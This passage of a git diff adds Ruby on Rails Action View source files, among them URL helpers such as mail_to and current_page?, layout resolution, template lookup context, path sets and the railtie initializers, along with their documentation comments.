+ # # => <a href="/sessions/new/">Login</a>
+ # # If they are logged in...
+ # # => <a href="/accounts/show/3">my_username</a>
+ def link_to_if(condition, name, options = {}, html_options = {}, &block)
+ if condition
+ link_to(name, options, html_options)
+ else
+ if block_given?
+ block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+ else
+ ERB::Util.html_escape(name)
+ end
+ end
+ end
+
+ # Creates a mailto link tag to the specified +email_address+, which is
+ # also used as the name of the link unless +name+ is specified. Additional
+ # HTML attributes for the link can be passed in +html_options+.
+ #
+ # +mail_to+ has several methods for customizing the email itself by
+ # passing special keys to +html_options+.
+ #
+ # ==== Options
+ # * <tt>:subject</tt> - Preset the subject line of the email.
+ # * <tt>:body</tt> - Preset the body of the email.
+ # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
+ # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
+ #
+ # ==== Obfuscation
+ # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
+ # in order to hinder email harvesters. To take advantage of these options,
+ # install the +actionview-encoded_mail_to+ gem.
+ #
+ # ==== Examples
+ # mail_to "me@domain.com"
+ # # => <a href="mailto:me@domain.com">me@domain.com</a>
+ #
+ # mail_to "me@domain.com", "My email"
+ # # => <a href="mailto:me@domain.com">My email</a>
+ #
+ # mail_to "me@domain.com", "My email", cc: "ccaddress@domain.com",
+ # subject: "This is an example email"
+ # # => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">My email</a>
+ #
+ # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+ #
+ # <%= mail_to "me@domain.com" do %>
+ # <strong>Email me:</strong> <span>me@domain.com</span>
+ # <% end %>
+ # # => <a href="mailto:me@domain.com">
+ # <strong>Email me:</strong> <span>me@domain.com</span>
+ # </a>
+ def mail_to(email_address, name = nil, html_options = {}, &block)
+ html_options, name = name, nil if block_given?
+ html_options = (html_options || {}).stringify_keys
+
+ extras = %w{ cc bcc body subject }.map! { |item|
+ option = html_options.delete(item) || next
+ "#{item}=#{Rack::Utils.escape_path(option)}"
+ }.compact
+ extras = extras.empty? ? '' : '?' + extras.join('&')
+
+ html_options["href"] = "mailto:#{email_address}#{extras}"
+
+ content_tag(:a, name || email_address, html_options, &block)
+ end
+
+ # True if the current request URI was generated by the given +options+.
+ #
+ # ==== Examples
+ # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc</tt> action.
+ #
+ # current_page?(action: 'process')
+ # # => false
+ #
+ # current_page?(controller: 'shop', action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'asc')
+ # # => false
+ #
+ # current_page?(action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'library', action: 'checkout')
+ # # => false
+ #
+ # current_page?('http://www.example.com/shop/checkout')
+ # # => true
+ #
+ # current_page?('/shop/checkout')
+ # # => true
+ #
+ # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action.
+ #
+ # current_page?(action: 'process')
+ # # => false
+ #
+ # current_page?(controller: 'shop', action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
+ # # => true
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
+ # # => false
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'desc')
+ # # => false
+ #
+ # current_page?(action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'library', action: 'checkout')
+ # # => false
+ #
+ # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
+ #
+ # current_page?(controller: 'product', action: 'index')
+ # # => false
+ #
+ def current_page?(options)
+ unless request
+ raise "You cannot use helpers that need to determine the current " \
+ "page unless your view context provides a Request object " \
+ "in a #request method"
+ end
+
+ return false unless request.get? || request.head?
+
+ url_string = URI.parser.unescape(url_for(options)).force_encoding(Encoding::BINARY)
+
+ # We ignore any extra parameters in the request_uri if the
+ # submitted url doesn't have any either. This lets the function
+ # work with things like ?order=asc
+ request_uri = url_string.index("?") ? request.fullpath : request.path
+ request_uri = URI.parser.unescape(request_uri).force_encoding(Encoding::BINARY)
+
+ if url_string =~ /^\w+:\/\//
+ url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
+ else
+ url_string == request_uri
+ end
+ end
+
+ private
+ def convert_options_to_data_attributes(options, html_options)
+ if html_options
+ html_options = html_options.stringify_keys
+ html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options)
+
+ method = html_options.delete('method')
+
+ add_method_to_attributes!(html_options, method) if method
+
+ html_options
+ else
+ link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
+ end
+ end
+
+ def link_to_remote_options?(options)
+ if options.is_a?(Hash)
+ options.delete('remote') || options.delete(:remote)
+ end
+ end
+
+ def add_method_to_attributes!(html_options, method)
+ if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/
+ html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip
+ end
+ html_options["data-method"] = method
+ end
+
+ # Processes the +html_options+ hash, converting the boolean
+ # attributes from true/false form into the form required by
+ # HTML/XHTML. (An attribute is considered to be boolean if
+ # its name is listed in the given +bool_attrs+ array.)
+ #
+ # More specifically, for each boolean attribute in +html_options+
+ # given as:
+ #
+ # "attr" => bool_value
+ #
+ # if the associated +bool_value+ evaluates to true, it is
+ # replaced with the attribute's name; otherwise the attribute is
+ # removed from the +html_options+ hash. (See the XHTML 1.0 spec,
+ # section 4.5 "Attribute Minimization" for more:
+ # http://www.w3.org/TR/xhtml1/#h-4.5)
+ #
+ # Returns the updated +html_options+ hash, which is also modified
+ # in place.
+ #
+ # Example:
+ #
+ # convert_boolean_attributes!( html_options,
+ # %w( checked disabled readonly ) )
+ def convert_boolean_attributes!(html_options, bool_attrs)
+ bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
+ html_options
+ end
+
+ def token_tag(token=nil)
+ if token != false && protect_against_forgery?
+ token ||= form_authenticity_token
+ tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
+ else
+ ''
+ end
+ end
+
+ def method_tag(method)
+ tag('input', type: 'hidden', name: '_method', value: method.to_s)
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/layouts.rb b/actionview/lib/action_view/layouts.rb
new file mode 100644
index 0000000000..0b5c0b9991
--- /dev/null
+++ b/actionview/lib/action_view/layouts.rb
@@ -0,0 +1,426 @@
+require "action_view/rendering"
+require "active_support/core_ext/module/remove_method"
+
+module ActionView
+ # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
+ # repeated setups. The inclusion pattern has pages that look like this:
+ #
+ # <%= render "shared/header" %>
+ # Hello World
+ # <%= render "shared/footer" %>
+ #
+ # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
+ # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
+ #
+ # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
+ # that the header and footer are only mentioned in one place, like this:
+ #
+ # // The header part of this layout
+ # <%= yield %>
+ # // The footer part of this layout
+ #
+ # And then you have content pages that look like this:
+ #
+ # hello world
+ #
+ # At rendering time, the content page is computed and then inserted in the layout, like this:
+ #
+ # // The header part of this layout
+ # hello world
+ # // The footer part of this layout
+ #
+ # == Accessing shared variables
+ #
+ # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
+ # references that won't materialize before rendering time:
+ #
+ # <h1><%= @page_title %></h1>
+ # <%= yield %>
+ #
+ # ...and content pages that fulfill these references _at_ rendering time:
+ #
+ # <% @page_title = "Welcome" %>
+ # Off-world colonies offers you a chance to start a new life
+ #
+ # The result after rendering is:
+ #
+ # <h1>Welcome</h1>
+ # Off-world colonies offers you a chance to start a new life
+ #
+ # == Layout assignment
+ #
+ # You can either specify a layout declaratively (using the #layout class method) or give
+ # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
+ # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
+ #
+ # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
+ # that template will be used for all actions in PostsController and controllers inheriting
+ # from PostsController.
+ #
+ # If you use a module, for instance Weblog::PostsController, you will need a template named
+ # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
+ #
+ # Since all your controllers inherit from ApplicationController, they will use
+ # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
+ # or provided.
+ #
+ # == Inheritance Examples
+ #
+ # class BankController < ActionController::Base
+ # # bank.html.erb exists
+ #
+ # class ExchangeController < BankController
+ # # exchange.html.erb exists
+ #
+ # class CurrencyController < BankController
+ #
+ # class InformationController < BankController
+ # layout "information"
+ #
+ # class TellerController < InformationController
+ # # teller.html.erb exists
+ #
+ # class EmployeeController < InformationController
+ # # employee.html.erb exists
+ # layout nil
+ #
+ # class VaultController < BankController
+ # layout :access_level_layout
+ #
+ # class TillController < BankController
+ # layout false
+ #
+ # In these examples, we have three implicit lookup scenarios:
+ # * The BankController uses the "bank" layout.
+ # * The ExchangeController uses the "exchange" layout.
+ # * The CurrencyController inherits the layout from BankController.
+ #
+ # However, when a layout is explicitly set, the explicitly set layout wins:
+ # * The InformationController uses the "information" layout, explicitly set.
+ # * The TellerController also uses the "information" layout, because the parent explicitly set it.
+ # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
+ # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
+ # * The TillController does not use a layout at all.
+ #
+ # == Types of layouts
+ #
+ # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
+ # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
+ # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
+ #
+ # The method reference is the preferred approach to variable layouts and is used like this:
+ #
+ # class WeblogController < ActionController::Base
+ # layout :writers_and_readers
+ #
+ # def index
+ # # fetching posts
+ # end
+ #
+ # private
+ # def writers_and_readers
+ # logged_in? ? "writer_layout" : "reader_layout"
+ # end
+ # end
+ #
+ # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
+ # is logged in or not.
+ #
+ # If you want to use an inline method, such as a proc, do something like this:
+ #
+ # class WeblogController < ActionController::Base
+ # layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+ # end
+ #
+ # If an argument isn't given to the proc, it's evaluated in the context of
+ # the current controller anyway.
+ #
+ # class WeblogController < ActionController::Base
+ # layout proc { logged_in? ? "writer_layout" : "reader_layout" }
+ # end
+ #
+ # Of course, the most common way of specifying a layout is still just as a plain template name:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard"
+ # end
+ #
+ # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
+ # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
+ #
+ # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+ # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
+ #
+ # class ApplicationController < ActionController::Base
+ # layout "application"
+ # end
+ #
+ # class PostsController < ApplicationController
+ # # Will use "application" layout
+ # end
+ #
+ # class CommentsController < ApplicationController
+ # # Will search for "comments" layout and fallback "application" layout
+ # layout nil
+ # end
+ #
+ # == Conditional layouts
+ #
+ # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
+ # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
+ # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard", except: :rss
+ #
+ # # ...
+ #
+ # end
+ #
+ # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
+ # be rendered directly, without wrapping a layout around the rendered view.
+ #
+ # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
+ # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
+ #
+ # == Using a different layout in the action render call
+ #
+ # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
+ # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
+ # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard"
+ #
+ # def help
+ # render action: "help", layout: "help"
+ # end
+ # end
+ #
+ # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.
+ module Layouts
+ extend ActiveSupport::Concern
+
+ include ActionView::Rendering
+
+ included do
+ class_attribute :_layout, :_layout_conditions, :instance_accessor => false
+ self._layout = nil
+ self._layout_conditions = {}
+ _write_layout_method
+ end
+
+ delegate :_layout_conditions, to: :class
+
+ module ClassMethods
+ def inherited(klass) # :nodoc:
+ super
+ klass._write_layout_method
+ end
+
+ # This module is mixed in if layout conditions are provided. This means
+ # that if no layout conditions are used, this method is not used
+ module LayoutConditions # :nodoc:
+ private
+
+ # Determines whether the current action has a layout definition by
+ # checking the action name against the :only and :except conditions
+ # set by the <tt>layout</tt> method.
+ #
+ # ==== Returns
+ # * <tt> Boolean</tt> - True if the action has a layout definition, false otherwise.
+ def _conditional_layout?
+ return unless super
+
+ conditions = _layout_conditions
+
+ if only = conditions[:only]
+ only.include?(action_name)
+ elsif except = conditions[:except]
+ !except.include?(action_name)
+ else
+ true
+ end
+ end
+ end
+
+ # Specify the layout to use for this class.
+ #
+ # If the specified layout is a:
+ # String:: the String is the template name
+ # Symbol:: call the method specified by the symbol, which will return the template name
+ # false:: There is no layout
+ # true:: raise an ArgumentError
+ # nil:: Force default layout behavior with inheritance
+ #
+ # ==== Parameters
+ # * <tt>layout</tt> - The layout to use.
+ #
+ # ==== Options (conditions)
+ # * :only - A list of actions to apply this layout to.
+ # * :except - Apply this layout to all actions but this one.
+ def layout(layout, conditions = {})
+ include LayoutConditions unless conditions.empty?
+
+ conditions.each {|k, v| conditions[k] = Array(v).map(&:to_s) }
+ self._layout_conditions = conditions
+
+ self._layout = layout
+ _write_layout_method
+ end
+
+ # Creates a _layout method to be called by _default_layout .
+ #
+ # If a layout is not explicitly mentioned then look for a layout with the controller's name.
+ # if nothing is found then try same procedure to find super class's layout.
+ def _write_layout_method # :nodoc:
+ remove_possible_method(:_layout)
+
+ prefixes = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
+ default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}).first || super"
+ name_clause = if name
+ default_behavior
+ else
+ <<-RUBY
+ super
+ RUBY
+ end
+
+ layout_definition = case _layout
+ when String
+ _layout.inspect
+ when Symbol
+ <<-RUBY
+ #{_layout}.tap do |layout|
+ return #{default_behavior} if layout.nil?
+ unless layout.is_a?(String) || !layout
+ raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
+ "should have returned a String, false, or nil"
+ end
+ end
+ RUBY
+ when Proc
+ define_method :_layout_from_proc, &_layout
+ protected :_layout_from_proc
+ <<-RUBY
+ result = _layout_from_proc(#{_layout.arity == 0 ? '' : 'self'})
+ return #{default_behavior} if result.nil?
+ result
+ RUBY
+ when false
+ nil
+ when true
+ raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
+ when nil
+ name_clause
+ end
+
+ self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def _layout
+ if _conditional_layout?
+ #{layout_definition}
+ else
+ #{name_clause}
+ end
+ end
+ private :_layout
+ RUBY
+ end
+
+ private
+
+ # If no layout is supplied, look for a template named the return
+ # value of this method.
+ #
+ # ==== Returns
+ # * <tt>String</tt> - A template name
+ def _implied_layout_name # :nodoc:
+ controller_path
+ end
+ end
+
+ def _normalize_options(options) # :nodoc:
+ super
+
+ if _include_layout?(options)
+ layout = options.delete(:layout) { :default }
+ options[:layout] = _layout_for_option(layout)
+ end
+ end
+
+ attr_internal_writer :action_has_layout
+
+ def initialize(*) # :nodoc:
+ @_action_has_layout = true
+ super
+ end
+
+ # Controls whether an action should be rendered using a layout.
+ # If you want to disable any <tt>layout</tt> settings for the
+ # current action so that it is rendered without a layout then
+ # either override this method in your controller to return false
+ # for that action or set the <tt>action_has_layout</tt> attribute
+ # to false before rendering.
+ def action_has_layout?
+ @_action_has_layout
+ end
+
+ private
+
+ def _conditional_layout?
+ true
+ end
+
+ # This will be overwritten by _write_layout_method
+ def _layout; end
+
+ # Determine the layout for a given name, taking into account the name type.
+ #
+ # ==== Parameters
+ # * <tt>name</tt> - The name of the template
+ def _layout_for_option(name)
+ case name
+ when String then _normalize_layout(name)
+ when Proc then name
+ when true then Proc.new { _default_layout(true) }
+ when :default then Proc.new { _default_layout(false) }
+ when false, nil then nil
+ else
+ raise ArgumentError,
+ "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
+ end
+ end
+
+ def _normalize_layout(value)
+ value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
+ end
+
+ # Returns the default layout for this controller.
+ # Optionally raises an exception if the layout could not be found.
+ #
+ # ==== Parameters
+ # * <tt>require_layout</tt> - If set to true and layout is not found,
+ # an ArgumentError exception is raised (defaults to false)
+ #
+ # ==== Returns
+ # * <tt>template</tt> - The template object for the default layout (or nil)
+ def _default_layout(require_layout = false)
+ begin
+ value = _layout if action_has_layout?
+ rescue NameError => e
+ raise e, "Could not render layout: #{e.message}"
+ end
+
+ if require_layout && action_has_layout? && !value
+ raise ArgumentError,
+ "There was no default layout for #{self.class} in #{view_paths.inspect}"
+ end
+
+ _normalize_layout(value)
+ end
+
+ def _include_layout?(options)
+ (options.keys & [:body, :text, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/locale/en.yml b/actionview/lib/action_view/locale/en.yml
index 8a56f147b8..8a56f147b8 100644
--- a/actionpack/lib/action_view/locale/en.yml
+++ b/actionview/lib/action_view/locale/en.yml
diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb
new file mode 100644
index 0000000000..9047dbdd85
--- /dev/null
+++ b/actionview/lib/action_view/log_subscriber.rb
@@ -0,0 +1,44 @@
+require 'active_support/log_subscriber'
+
+module ActionView
+ # = Action View Log Subscriber
+ #
+ # Provides functionality so that Rails can output logs from Action View.
+ class LogSubscriber < ActiveSupport::LogSubscriber
+ VIEWS_PATTERN = /^app\/views\//
+
+ def initialize
+ @root = nil
+ super
+ end
+
+ def render_template(event)
+ info do
+ message = " Rendered #{from_rails_root(event.payload[:identifier])}"
+ message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+ message << " (#{event.duration.round(1)}ms)"
+ end
+ end
+ alias :render_partial :render_template
+ alias :render_collection :render_template
+
+ def logger
+ ActionView::Base.logger
+ end
+
+ protected
+
+ EMPTY = ''
+ def from_rails_root(string)
+ string = string.sub(rails_root, EMPTY)
+ string.sub!(VIEWS_PATTERN, EMPTY)
+ string
+ end
+
+ def rails_root
+ @root ||= "#{Rails.root}/"
+ end
+ end
+end
+
+ActionView::LogSubscriber.attach_to :action_view
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
new file mode 100644
index 0000000000..ea687d9cca
--- /dev/null
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -0,0 +1,255 @@
+require 'thread_safe'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'action_view/template/resolver'
+
+module ActionView
+ # = Action View Lookup Context
+ #
+ # LookupContext is the object responsible to hold all information required to lookup
+ # templates, i.e. view paths and details. The LookupContext is also responsible to
+ # generate a key, given to view paths, used in the resolver cache lookup. Since
+ # this key is generated just once during the request, it speeds up all cache accesses.
+ class LookupContext #:nodoc:
+ attr_accessor :prefixes, :rendered_format
+
+ mattr_accessor :fallbacks
+ @@fallbacks = FallbackFileSystemResolver.instances
+
+ mattr_accessor :registered_details
+ self.registered_details = []
+
+ def self.register_detail(name, options = {}, &block)
+ self.registered_details << name
+ initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" }
+
+ Accessors.send :define_method, :"default_#{name}", &block
+ Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{name}
+ @details.fetch(:#{name}, [])
+ end
+
+ def #{name}=(value)
+ value = value.present? ? Array(value) : default_#{name}
+ _set_detail(:#{name}, value) if value != @details[:#{name}]
+ end
+
+ remove_possible_method :initialize_details
+ def initialize_details(details)
+ #{initialize.join("\n")}
+ end
+ METHOD
+ end
+
+ # Holds accessors for the registered details.
+ module Accessors #:nodoc:
+ end
+
+ register_detail(:locale) do
+ locales = [I18n.locale]
+ locales.concat(I18n.fallbacks[I18n.locale]) if I18n.respond_to? :fallbacks
+ locales << I18n.default_locale
+ locales.uniq!
+ locales
+ end
+ register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
+ register_detail(:variants) { [] }
+ register_detail(:handlers){ Template::Handlers.extensions }
+
+ class DetailsKey #:nodoc:
+ alias :eql? :equal?
+ alias :object_hash :hash
+
+ attr_reader :hash
+ @details_keys = ThreadSafe::Cache.new
+
+ def self.get(details)
+ if details[:formats]
+ details = details.dup
+ details[:formats] &= Mime::SET.symbols
+ end
+ @details_keys[details] ||= new
+ end
+
+ def self.clear
+ @details_keys.clear
+ end
+
+ def initialize
+ @hash = object_hash
+ end
+ end
+
+ # Add caching behavior on top of Details.
+ module DetailsCache
+ attr_accessor :cache
+
+ # Calculate the details key. Remove the handlers from calculation to improve performance
+ # since the user cannot modify it explicitly.
+ def details_key #:nodoc:
+ @details_key ||= DetailsKey.get(@details) if @cache
+ end
+
+ # Temporary skip passing the details_key forward.
+ def disable_cache
+ old_value, @cache = @cache, false
+ yield
+ ensure
+ @cache = old_value
+ end
+
+ protected
+
+ def _set_detail(key, value)
+ @details = @details.dup if @details_key
+ @details_key = nil
+ @details[key] = value
+ end
+ end
+
+ # Helpers related to template lookup using the lookup context information.
+ module ViewPaths
+ attr_reader :view_paths, :html_fallback_for_js
+
+ # Whenever setting view paths, makes a copy so that we can manipulate them in
+ # instance objects as we wish.
+ def view_paths=(paths)
+ @view_paths = ActionView::PathSet.new(Array(paths))
+ end
+
+ def find(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
+ end
+ alias :find_template :find
+
+ def find_all(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
+ end
+
+ def exists?(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
+ end
+ alias :template_exists? :exists?
+
+ # Adds fallbacks to the view paths. Useful in cases when you are rendering
+ # a :file.
+ def with_fallbacks
+ added_resolvers = 0
+ self.class.fallbacks.each do |resolver|
+ next if view_paths.include?(resolver)
+ view_paths.push(resolver)
+ added_resolvers += 1
+ end
+ yield
+ ensure
+ added_resolvers.times { view_paths.pop }
+ end
+
+ protected
+
+ def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc:
+ name, prefixes = normalize_name(name, prefixes)
+ details, details_key = detail_args_for(details_options)
+ [name, prefixes, partial || false, details, details_key, keys]
+ end
+
+ # Compute details hash and key according to user options (e.g. passed from #render).
+ def detail_args_for(options)
+ return @details, details_key if options.empty? # most common path.
+ user_details = @details.merge(options)
+
+ if @cache
+ details_key = DetailsKey.get(user_details)
+ else
+ details_key = nil
+ end
+
+ [user_details, details_key]
+ end
+
+ # Support legacy foo.erb names even though we now ignore .erb
+ # as well as incorrectly putting part of the path in the template
+ # name instead of the prefix.
+ def normalize_name(name, prefixes) #:nodoc:
+ prefixes = prefixes.presence
+ parts = name.to_s.split('/')
+ parts.shift if parts.first.empty?
+ name = parts.pop
+
+ return name, prefixes || [""] if parts.empty?
+
+ parts = parts.join('/')
+ prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
+
+ return name, prefixes
+ end
+ end
+
+ include Accessors
+ include DetailsCache
+ include ViewPaths
+
+ def initialize(view_paths, details = {}, prefixes = [])
+ @details, @details_key = {}, nil
+ @skip_default_locale = false
+ @cache = true
+ @prefixes = prefixes
+ @rendered_format = nil
+
+ self.view_paths = view_paths
+ initialize_details(details)
+ end
+
+ # Override formats= to expand ["*/*"] values and automatically
+ # add :html as fallback to :js.
+ def formats=(values)
+ if values
+ values.concat(default_formats) if values.delete "*/*"
+ if values == [:js]
+ values << :html
+ @html_fallback_for_js = true
+ end
+ end
+ super(values)
+ end
+
+ # Do not use the default locale on template lookup.
+ def skip_default_locale!
+ @skip_default_locale = true
+ self.locale = nil
+ end
+
+ # Override locale to return a symbol instead of array.
+ def locale
+ @details[:locale].first
+ end
+
+ # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
+ # to original_config, it means that it has a copy of the original I18n configuration and it's
+ # acting as proxy, which we need to skip.
+ def locale=(value)
+ if value
+ config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
+ config.locale = value
+ end
+
+ super(@skip_default_locale ? I18n.locale : default_locale)
+ end
+
+ # Uses the first format in the formats array for layout lookup.
+ def with_layout_format
+ if formats.size == 1
+ yield
+ else
+ old_formats = formats
+ _set_detail(:formats, formats[0,1])
+
+ begin
+ yield
+ ensure
+ _set_detail(:formats, old_formats)
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/model_naming.rb b/actionview/lib/action_view/model_naming.rb
new file mode 100644
index 0000000000..d42e436b17
--- /dev/null
+++ b/actionview/lib/action_view/model_naming.rb
@@ -0,0 +1,12 @@
+module ActionView
+ module ModelNaming
+ # Converts the given object to an ActiveModel compliant one.
+ def convert_to_model(object)
+ object.respond_to?(:to_model) ? object.to_model : object
+ end
+
+ def model_name_from_record_or_class(record_or_class)
+ convert_to_model(record_or_class).model_name
+ end
+ end
+end
diff --git a/actionview/lib/action_view/path_set.rb b/actionview/lib/action_view/path_set.rb
new file mode 100644
index 0000000000..91ee2ea8f5
--- /dev/null
+++ b/actionview/lib/action_view/path_set.rb
@@ -0,0 +1,77 @@
+module ActionView #:nodoc:
+ # = Action View PathSet
+ #
+ # This class is used to store and access paths in Action View. A number of
+ # operations are defined so that you can search among the paths in this
+ # set and also perform operations on other +PathSet+ objects.
+ #
+ # A +LookupContext+ will use a +PathSet+ to store the paths in its context.
+ class PathSet #:nodoc:
+ include Enumerable
+
+ attr_reader :paths
+
+ delegate :[], :include?, :pop, :size, :each, to: :paths
+
+ def initialize(paths = [])
+ @paths = typecast paths
+ end
+
+ def initialize_copy(other)
+ @paths = other.paths.dup
+ self
+ end
+
+ def to_ary
+ paths.dup
+ end
+
+ def compact
+ PathSet.new paths.compact
+ end
+
+ def +(array)
+ PathSet.new(paths + array)
+ end
+
+ %w(<< concat push insert unshift).each do |method|
+ class_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{method}(*args)
+ paths.#{method}(*typecast(args))
+ end
+ METHOD
+ end
+
+ def find(*args)
+ find_all(*args).first || raise(MissingTemplate.new(self, *args))
+ end
+
+ def find_all(path, prefixes = [], *args)
+ prefixes = [prefixes] if String === prefixes
+ prefixes.each do |prefix|
+ paths.each do |resolver|
+ templates = resolver.find_all(path, prefix, *args)
+ return templates unless templates.empty?
+ end
+ end
+ []
+ end
+
+ def exists?(path, prefixes, *args)
+ find_all(path, prefixes, *args).any?
+ end
+
+ private
+
+ def typecast(paths)
+ paths.map do |path|
+ case path
+ when Pathname, String
+ OptimizedFileSystemResolver.new path.to_s
+ else
+ path
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
new file mode 100644
index 0000000000..81f9c40b85
--- /dev/null
+++ b/actionview/lib/action_view/railtie.rb
@@ -0,0 +1,49 @@
+require "action_view"
+require "rails"
+
+module ActionView
+ # = Action View Railtie
+ class Railtie < Rails::Railtie # :nodoc:
+ config.action_view = ActiveSupport::OrderedOptions.new
+ config.action_view.embed_authenticity_token_in_remote_forms = false
+
+ config.eager_load_namespaces << ActionView
+
+ initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
+ ActiveSupport.on_load(:action_view) do
+ ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
+ app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+ end
+ end
+
+ initializer "action_view.logger" do
+ ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
+ end
+
+ initializer "action_view.set_configs" do |app|
+ ActiveSupport.on_load(:action_view) do
+ app.config.action_view.each do |k,v|
+ send "#{k}=", v
+ end
+ end
+ end
+
+ initializer "action_view.caching" do |app|
+ ActiveSupport.on_load(:action_view) do
+ if app.config.action_view.cache_template_loading.nil?
+ ActionView::Resolver.caching = app.config.cache_classes
+ end
+ end
+ end
+
+ initializer "action_view.setup_action_pack" do |app|
+ ActiveSupport.on_load(:action_controller) do
+ ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+ end
+ end
+
+ rake_tasks do
+ load "action_view/tasks/dependencies.rake"
+ end
+ end
+end
diff --git a/actionview/lib/action_view/record_identifier.rb b/actionview/lib/action_view/record_identifier.rb
new file mode 100644
index 0000000000..63f645431a
--- /dev/null
+++ b/actionview/lib/action_view/record_identifier.rb
@@ -0,0 +1,84 @@
+require 'active_support/core_ext/module'
+require 'action_view/model_naming'
+
+module ActionView
+ # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
+ # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
